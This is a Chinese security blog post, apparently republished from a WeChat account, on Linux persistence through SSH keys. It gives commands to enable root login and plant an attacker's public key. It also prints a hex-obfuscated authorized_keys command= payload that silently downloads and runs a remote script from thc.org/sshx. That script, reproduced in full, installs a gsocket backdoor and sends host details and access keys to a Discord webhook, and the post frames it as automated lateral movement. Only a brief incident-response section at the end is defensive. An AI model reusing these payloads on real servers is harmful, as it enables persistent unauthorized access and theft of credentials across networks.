SSH公私钥原理
原理:利用密钥生成器制作一对密钥即公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。
SSH公私钥开启
需要开启三个配置vim /etc/ssh/sshd_config
#允许root认证登录
PermitRootLogin yes
#允许密钥认证
RSAAuthentication yes
PubkeyAuthentication yes
#默认公钥存放的位置
AuthorizedKeysFile .ssh/authorized_keys
也可以使用下面的命令直接替换。
sed -i 's/^#*PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#*RSAAuthentication.*/RSAAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/^#*PubkeyAuthentication.*/PubkeyAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/#AuthorizedKeysFile/AuthorizedKeysFile/' /etc/ssh/sshd_config
SSH-RSA版本迭代
在我阅读这方面的资料的时候,值得一提的是,Centos7.4直接开始弃用了RSAAuthentication的支持 SSH的通讯协议分为第一代和第二代。 可以在/etc/ssh/sshd_config
Protocol 2
#Protocol Centos7.4配置项在 OpenSSH 的默认配置中通常不会显示出来,因为默认值为2 可以手动添加进行选择版本。
用以上选项来使用那个版本。 第二代ssh通讯协议的密钥验证选项是
PubkeyAuthentication yes
所以我们在第二代ssh通讯协议不需要纠结RSAAuthentication,如果在7.4中强行添加 RSAAuthentication会触发系统对他的废除提示。
SSH公钥后门安装
no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);" ssh-ed25519 AAAAC3Nzblah....
攻击服务器输入ssh-keygen -t rsa
SSH密钥一般情况下存放在~/.ssh/目录下 id_rsa : 私钥 id_rsa.pub : 公钥
目标机创建密匙文件
mkdir -p ~/.ssh && touch ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
如果没有.ssh文件夹就创建一个 将公钥内容写入目标密匙文件
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC78viZgqJjvOaGr6D/I96Ibc2GZB6Mgat/HvRfTX0ZRuj9+WAeL3m/8rcdRd5e8tYTDLXAF7f64w+fsX84JKVWekIh7zYGhiaGyxAlm5156CnGqckLXM2AGubVCHeg74uZCjMw/KHQpaR9LOXZpyg8rLiq6XwsSyHgKX3p1MeZxukzTX2REoDnrYVmXpT+sHmwV0j5W/ssj4N4pd6zdwfAUZk0mxM08TVZLeEXKfWoOrzvRkOdHQKFQRmTlt0mlSuVJnMWZX7j8ffOc+9ZZXxrjBOUj03VjmDvZoxfPsQXCTFeVDwW/lfaBy/I958DnVFg3W46YEU/FSkbBdmPtvEzAmrW6BYYrkl9O5sXxa6LloOi3FI689ENgUGsXsfxLaZEuCXkmQ1wnTx6q3HuAjgv8+c+kNCcuLgcha6s3ajefDITpW0Ku7xCh5cAAbs6MAYm8+/EG1m8XuIGNQgG19ctQBLInCtnhRzc9KnNxGQOdeBRsu2HleSrG7cwecxOZo0= root@Attack' >> /root/.ssh/authorized_keys
不需要即可登录
SSH公钥污染RCE
https://man.openbsd.org/OpenBSD-current/man8/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT 说明了OpenSSH有一个特性
这个特性可以造成一些横向移动等效果,因为如果管理员不检查公钥就使用的话,在登录成功后可能会造成一些命令执行,因为可以命令执行我们可以进行深入利用, 在这里可以看到更多配置 https://www.uio.no/english/services/it/home-away/ssh/help/keys.html
echo -n -e 'Hello, World!' | xxd -ps
echo "48656c6c6f2c20576f726c6421" | xxd -r -ps
command="ping -c 1 to8i76.dnslog.cn" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4yBmqDzOf5O2ETuxg8GK5nBIYE1oxyem+aLE2JEBL57mLTJUSCku8Xj10lvaLzcFYUdNT6EdmaCDCdqPfeusvVGh1KCpckculogddYSgdZph/ikxtbf2cmcrUpDx9cILmmjgpa8g2P44doVfbXGYpuNrn/8rIFuYn/gq/xKkex2WzU8yRT1FLJCxSp1X6mtyAwy0NFqE7X6Pu1CFObrx8FK7kNtQ3aE9KQJBRWWYCgsWMlNjoj7fpuvH3Wl1tDS/V4u5lr14pMsvq5Bp+Euj8qIGx47h73jgLyLpHbm62mXuY92hmMohfHvC0jgtXLbNFtB3ZljXPiy/bY+t0+QYDYnWTO7gko6Kq75DiHlhcbodG6rO74Njryh1t9p54wN/Lh0ucPb8aDm4jFQJrDNSSo04LEb0p/dniIOeggpP95r78HQWzQM5eTq0dNxSbfoMWvu8WYSrxIKWtKvrKBv15pZ1oQHuz+KUMd8G3kzNZ0O0Ec6HpQcYL2cW/BvAXUKk= root@Attack
当我们把这个能执行命令的污染公钥文件放在目标机上,我们如果登录,他就会自动拉取这个密钥,当登录成功后,会向dnslog发送一条请求
在对于管理员来说,快速管理和配置多外服务器的时候,一般都是生成一个密钥对,将公钥复制到每台服务器,这样一个私钥对应多个公钥,管理员就可以登录到服务器上。 如果我们将执行命令进行深入利用,而不单单执行命令,而是下发后门远控,我们只需要感染一个用户,当那个用户的公钥拷贝到另一台服务器并登录时就会自动拉取后门下发,自动化横向移动。 这里给出一个示例,可以拉取thc.org/sshx
提取并在内存中执行的后门安装程序脚本,作为后台进程启动,不影响用户的登录。如果成功,则会将访问密钥和系统指标报告给我们的服务。
[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && { :;touch -r /bin/sh .ssh;export KEY="";bash -c "$(curl -fsSL thc.org/sshx)" || bash -c "$(wget --no-verbose -O- thc.org/sshx)" || exit 0;} >/dev/null 2>/dev/null & :;[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND;[[ -z $SHELL ]] && SHELL=/bin/bash;[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic;[[ -f /etc/motd ]] && cat /etc/motd;exec -a -$(basename $SHELL) $SHELL;
这个后门拉取另一个服务以保证目标下发后的通知。
#! /bin/bash
# This is an example script to demonstrate how ssh keys can be used to
# as a permanent backdoor and to move laterally through a network.
#
# If you find this on your network then somebody tested our tool and
# forgot to change the script's URL. Contact us at [email protected].
# Discord API key
# This key can be changed HERE or you can set your own key with
# KEY=<YOUR DISCORD WEBHOOK KEY> ./gen
[[ -z $KEY ]] && KEY="1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m"
# Install GS-NETCAT and report installation back to DISCORD.
command -v curl >/dev/null && IS_CURL=1 || command -v wget >/dev/null && IS_WGET=1 || exit 0
if [[ -n $IS_CURL ]]; then
S="$(bash -c "$(curl -fsSL https://gsocket.io/x)")"
else
S="$(bash -c "$(wget --no-verbose -O- https://gsocket.io/x)")"
fi
S=${S##*S="}
S=${S%%"*}
X=($(hostname; uname -mrs))
MSG="${USER} ${X[*]} -- gs-netcat -i -s${S:-BAD}"
DATA='{"username": "sshx", "content": "'"$MSG"'"}'
if [[ -n $IS_CURL ]]; then
curl -H "Content-Type: application/json" -d "${DATA}" "https://discord.com/api/webhooks/${KEY}"
else
wget -q -O- --header="Content-Type: application/json" --post-data="${DATA}" "https://discord.com/api/webhooks/${KEY}"
fi
exit 0
然后会去下发会去请求一个gsocket的后门 使用 https://github.com/hackerschoice/gsocket 进行控制
SSH公私钥应急响应
查看篡改时间
ls -l /root/.ssh/authorized_keys
查看服务器开放的端口
netstat -anpt
根据pid查看进程
ll /proc/pid
原文始发于微信公众号(河马安全区):Linux权限维持-SSH Key Infecting
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论